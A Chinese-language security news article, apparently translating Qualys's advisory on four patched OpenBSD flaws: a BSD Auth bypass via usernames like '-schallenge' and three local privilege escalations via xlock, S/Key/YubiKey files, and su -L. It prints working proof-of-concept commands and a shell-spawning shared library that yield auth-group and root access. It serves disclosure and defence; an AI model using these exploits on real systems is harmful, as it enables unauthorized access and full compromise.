开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞(详情)
聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
具有安全基因、免费、基于 BSD 的类 Unix 开源操作系统 OpenBSD 被指存在四个高危安全漏洞。其中一个是存在于 BSD Auth 框架中传统的类型身份验证绕过漏洞,另外三个是可导致本地用户或恶意软件分别获取认证组、root 以及其它用户权限的提权漏洞。
本周早些时候,Qualys 研究实验室发现并报告了这些漏洞,而 OpenBSD 开发人员快速响应,在不到40小时的时间里迅速为 OpenBSD 6.5 和OpenBSD 6.6 发布补丁。
研究人员对这些漏洞的分析和案例研究如下:
CVE-2019-19521:身份验证绕过
研究人员在 OpenBSD 的认证系统中发现了认证绕过漏洞CVE-2019-19521。该漏洞存在于 OpenBSD 身份验证框架解析通过 smtpd、ldapd、radiusd、su 或 sshd 服务登录的用户提供的用户名方式中。虽然可在 smtpd、ldapd和 radiusd 中远程利用该漏洞,但应该采取具体案例具体分析的方法评估它的影响。例如,sshd 或su 中具有深入防御机制,即使在身份验证成功被绕过后会挂起连接,因此无法被利用。不过攻击者仍然能够通过利用 sshd 中的这个漏洞来判断 OpenBSD 是否易受影响。
具体分析
从 login.conf 手册可获悉:
OpenBSD 使用了 BSD 身份验证,它由多种身份验证方式组成。目前涵盖的验证方式如下:
psswd:要求输入密码并将其和 master.passwd 文件中的密码进行比对。见 login_passwd(8)。
skey:发送challenge并请求响应,通过 S/Key (tm) 身份验证进行检查。见 login_skey(8)。
yubikey:使用 Yubico YubiKey 令牌进行验证。见 login_yubikey(8)。
对于任何既定方式,均通过 /usr/libexec/auth/login_style 程序进行验证。该程序的概要为:
/usr/libexec/auth/login_style [-v name=value][-s service] username clas
于是我们的第一个疑问是:如果攻击者指定了表单“-option”的用户名,那么就能够以预料之外的方法来影响身份验证程序的行为。
logi_passwd 的手册指出:
login_passwd [-s service] [-v wheel=yes|no] [-vlastchance=yes|no] user
[class]
参数 service 指定了调用程序应该使用的协议。可以使用的协议是 login、challenge 和 response。(OpenBSD 的身份验证框架将“schallenge”解释为“-s challenge”,从而强制系统静默忽视challenge 协议,从而自动绕过该验证方式。由于密码验证方式并非基于 challenge-response,因此将会报告成功结果。)
这就造成第二个疑问:如果攻击者指定了用户名 “-schallenge”(或者指定“schallenge:passwd”来强制开展密码方式的身份验证),那么身份验证自动成功因此会被绕过。
1、案例研究:smtpd
为了演示smtpd的身份验证如何被绕过,我们按照 smtpd.conf 手册中的指令行事:
在第二个例子中,目的是允许邮件发送并仅为能够进行身份验证(使用正常的登录凭证)的用户中继。
...listen on egress tls pki mail.example.com auth...match auth from any for any action "outbound"
之后我们重启了 smtpd。然后我们即可实施远程攻击:
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
2、案例研究:ldapd
ldapd 手册指出:
ldapd 能够通过简单的绑定或者具有uPLAIN 机制的SASL 对用户进行身份验证。
当用户使用 SASL 绑定方式时,身份验证 ID 应该是BSD Authentication 的一个合法用户名。
要使其接受明文形式的密码,连接必须是安全的,或者使用加密连接或者使用配置文件中的安全关键字。
在如此安全的连接中,远程攻击者可绕过 ldapd 的 SASL 身份验证方式:
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1
-------------------------------
3、案例研究:radiusd
为了展示如何绕过 radiusd 的身份验证,我们截取了 radiusd.conf 手册中的配置示例:
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"...authenticate * {authenticate-by "bsdauth"}
之后我们发送了如下的(成功)验证请求:
$ radiusctl test 192.168.56.121 secret -schallenge password whatever...Reply-Message = "Authentication succeeded"
如果我们进一步修改 radiusd 的配置,限制对“operator”组成员的访问权限:
module set "bsdauth" "restrict-group" "operator"
并且发送身份验证请求,那么 radiusd_bsdauth 就会因为空指针取消引用而崩溃(因为 getpwnam(“-schallenge”) 返回 NULL):
80 int81 main(int argc, char *argv[])82 {
...
192 pw = getpwnam(user);
...
197 if (gr->gr_gid == pw->pw_gid) {
4、案例研究:sshd
即使攻击者能够通过不合法用户如 “-schallenge” 绕过 sshd 的身份验证,sshd 最终会拒绝:
225 void226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)227 {...229 int authenticated = 0, partial = 0;...249 while (!authenticated) {...288 }289290 if (!authctxt->valid)291 fatal("%s: authenticated invalid user", __func__);
尽管如此,我们能够使用 sshd 远程测试 OpenBSD 系统是否易受 CVE-2019-19521 的影响:
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive
如果连接挂起,那么证明易受攻击,因为 sshd 等待 login_passwd 发送一个 challenge,而 login_passwd 等待 sshd 发送一个响应(因为 login_passwd 将用户名“-sresponse”作为一种选项进行拦截)。
5、案例研究:su
本地攻击者能够为不合法的用户“-schallenge”绕过 su 的身份验证,但 su 最终由于空指针取消引用而崩溃(因为 getpwnam(“-schallenge”,…) 返回 NULL):
$ su -L -- -schallenge
Segmentation fault
CVE-2019-19520:xlock 中的本地提权
由于对 dlopen() 中所提供的环境路径的错误处理,OpenBSD 上默认安装的 xlock 可导致本地攻击者将权限提升至“auth”组。
OpenBSD 上默认安装 /usr/X11R6/bin/xlock,而且是 set-group-ID “auth”,而非 set-user-ID;因此下面的检查是不完整的而且应该使用 issetugid():
101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113 if (geteuid() == getuid()) {
114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115 libPaths = getenv("LIBGL_DRIVERS_PATH");
----------------------------------------------------
本地攻击者能够利用该漏洞并将自己的驱动 dlopen() 以获取“auth”组的权限:
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)$ cd /tmp$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>static void __attribute__ ((constructor)) _init (void) {gid_t rgid, egid, sgid;if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);char * const argv[] = { _PATH_KSHELL, NULL };execve(argv[0], argv, NULL);_exit(__LINE__);
}
EOF$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
CVE-2019-19522:经由 S/Key 和 YubiKey 的本地提取
由于对通过非默认配置“S/Key”和“YubiKey”的授权机制操作不正确,因此具有“auth”组权限的本地攻击者能够获取 root 用户的完整权限。具体而言:
如果启用了 S/Key 或 YubiKey 认证方式(它们均为默认安装但默认禁用),那么本地攻击者能够利用“auth”组的权限获取用户“root”的完整权限(因为 login_skey 和login_yubikey 不会验证 /etc/skey and /var/db/yubikey 中的文件是否属于正确的用户,而且这些目录均可由“auth”组写入)。
(注:要获取“auth”组的权限,本地攻击者可以首先利用 xlock 中的 CVE-2019-19520。)
如果(通过 skeyinit -E)启用了 S/Key,那么具有“auth”权限的本地用户可为用户“root”增加一个 S/Key 条目(/etc/skey 中的文件)(如果该文件已存在,那么攻击者无法直接删除或更名,因为 /etc/skey 是粘性的:它已存在缓解措施,这个问题就留给感兴趣的读者吧):
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root$ chmod 0600 /etc/skey/root$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN# id
uid=0(root) gid=0(wheel) ...
如果(通过 login.conf)启用了 YubiKey,具有“auth”权限的本地攻击者就能够为用户“root”增加一个 YubiKey 条目(/var/db/yubikey 中的两个文件)(如果这些文件已存在,那么攻击者就能够直接删除或更名,因为var/db/yubikey 不具有粘性):
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul# id
uid=0(root) gid=0(wheel) ...
CVE-2019-19519:su 中的本地提取
由于 su 的其中一个主要函数中存在一个逻辑错误,导致本地攻击者能够通过利用 su 的–L 选项实现任意用户的登录类(通常不包括 root)。
本地攻击者能够利用 su 的–L 选项(“一直循环,直到输入正确的用户名密码组合为止”)以自己的身份登录但使用的是其它用户的登录类(如果攻击者不在“wheel”组中则是root 的登录类),因为该类变量只设置一次而且不会重置:
60 int61 main(int argc, char **argv)62 {
...
174 for (;;) {
...
210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211 class = strdup(pwd->pw_class);
在如下示例中,Jane(属于"wheel”组的一个成员)以 root 登录类("daemon”)登录,从而增加了她的登录级别资源限制:
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)$ ulimit -H -a
...
processes 512$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)$ ulimit -H -a
...
processes 1310
在如下例子中,John(并非“wheel”组的成员),以 _pbuild 的登录类 (“pbuild”) 登录,从而降低了他的登录级别资源限制:
$ id
uid=1001(john) gid=1001(john) groups=1001(john)$ ulimit -H -a
...
data(kbytes) 786432
...
processes 256$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:$ id
uid=1001(john) gid=1001(john) groups=1001(john)$ ulimit -H -a
...
data(kbytes) 33554432
...
processes 1024
推荐阅读
出于安全考虑,OpenBSD 禁用英特尔 CPU 超线程
原文链接
https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt?_ga=2.58244398.587934852.1575530822-682141427.1570559125
https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。
开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞(详情)相关推荐
- Linux sudo 被曝提权漏洞,任意用户均能以 root 身份运行命令
Linux 用户请注意!根据外媒的报道,Linux sudo 被曝出存在一个提权漏洞,可完全绕过 sudo 的安全策略. 先简单说明一下情况,报道指出 sudo 存在一个安全策略隐患,即便" ...
- Linux 多个发行版本被曝存在7年之久的提权漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 上周,影响Linux 多个发行版本的一个已存在7年之久的提权漏洞被修复. 上周四,GitHub 的安全研究员 Kevin Backhous ...
- 操作系统权限提升(十五)之绕过UAC提权-基于白名单DLL劫持绕过UAC提权
系列文章 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述 操作系统权限提升(十三)之绕过UAC提权-MSF和CS绕过UAC提权 操作系统权限提升(十四)之绕过UAC提权-基于白名 ...
- 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述
系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 操作系统权限提升(三)之Windows系统内核溢出漏洞提权 操作系统权限提升(四)之系统错误配置-Tus ...
- bartender的安全策略不允许指定的用户执行此操作_Linux sudo 被曝提权漏洞,任意用户均能以 root 身份运行命令
即便 /etc/sudoers 配置文件中明确表明不允许以 root 用户进行访问,但通过该漏洞,恶意用户或程序仍可在目标 Linux 系统上以 root 用户身份执行任意命令. 译自: https: ...
- security center拒绝访问_Steam被曝出0day提权漏洞,但厂商拒绝修复
近期,全球流行的Steam游戏客户端被曝出0day提权漏洞,影响全球一亿多Steam用户.该漏洞可让机器上的低权限用户以SYSTEM权限运行程序.这意味着恶意软件很可能利用这个漏洞对受害者的机器进行深 ...
- 开源OS FreeBSD 中 ftpd chroot 本地提权漏洞 (CVE-2020-7468) 的技术分析
聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 7月份,一名匿名研究员向 ZDI 报告了 FreeBSD 中的一个本地提权漏洞.它位于 FreeBSD 的文件传输协议守护进程 (ft ...
- win10注入漏洞跳出计算机,win10操作系统本地提权漏洞
2018年8月27日,安全研究人员在github上公布了最新的win10x64版的本地提权漏洞,并且在推特上对其提权的demo进行了演示.在github上的SandboxEscaper上有着完整的漏洞 ...
- bartender的安全策略不允许指定的用户执行此操作_Linux sudo 被曝提权漏洞,任意用户均能以 root 身份运行命令...
嵌入式linux QQ交流群:175159209,欢迎爱好者加入交流技术问题! Linux 用户要注意了!几乎所有基于 UNIX 和 Linux 的操作系统上安装的核心命令,也是最重要.最强大也最常用 ...
最新文章
- Java 并发专题 : Semaphore 实现 互斥 与 连接池
- vue 白边 项目_GUIDE.md · kaiking_g/g6-vue-demo - Gitee.com
- Mac 登陆 去掉 其他用户
- vue如何引入ant部分组件
- yii2 js加载顺序呢
- mysql 联合索引的命中规则_可能是全网最好的MySQL重要知识点/面试题总结
- Nginx 上传图片500错误 open() /var/lib/nginx/tmp/
- SnagIt怎么使用 SnagIt使用教程
- vb中换行的几种方法
- c语言输入相应的成绩评定信息,C语言上机练习题记答案.doc
- 【VBA】Word批量改变图片的大小,进行排版
- android播放幻灯片控件,android幻灯片控件PPT
- BlackBerry不能上网问题解决方案
- [CF1603D] Artistic Partition——欧拉函数,线段树优化DP
- imazing是什么?为什么选择 iMazing?
- Java Bean 转 Map 的巨坑,注意了!!!
- 同程旅游火车票部门面经
- Windows常用快捷键(提高您的工作效率轻松完成日常工作)
- 手把手教你如何全新安装激活Win10系统
- android 看门狗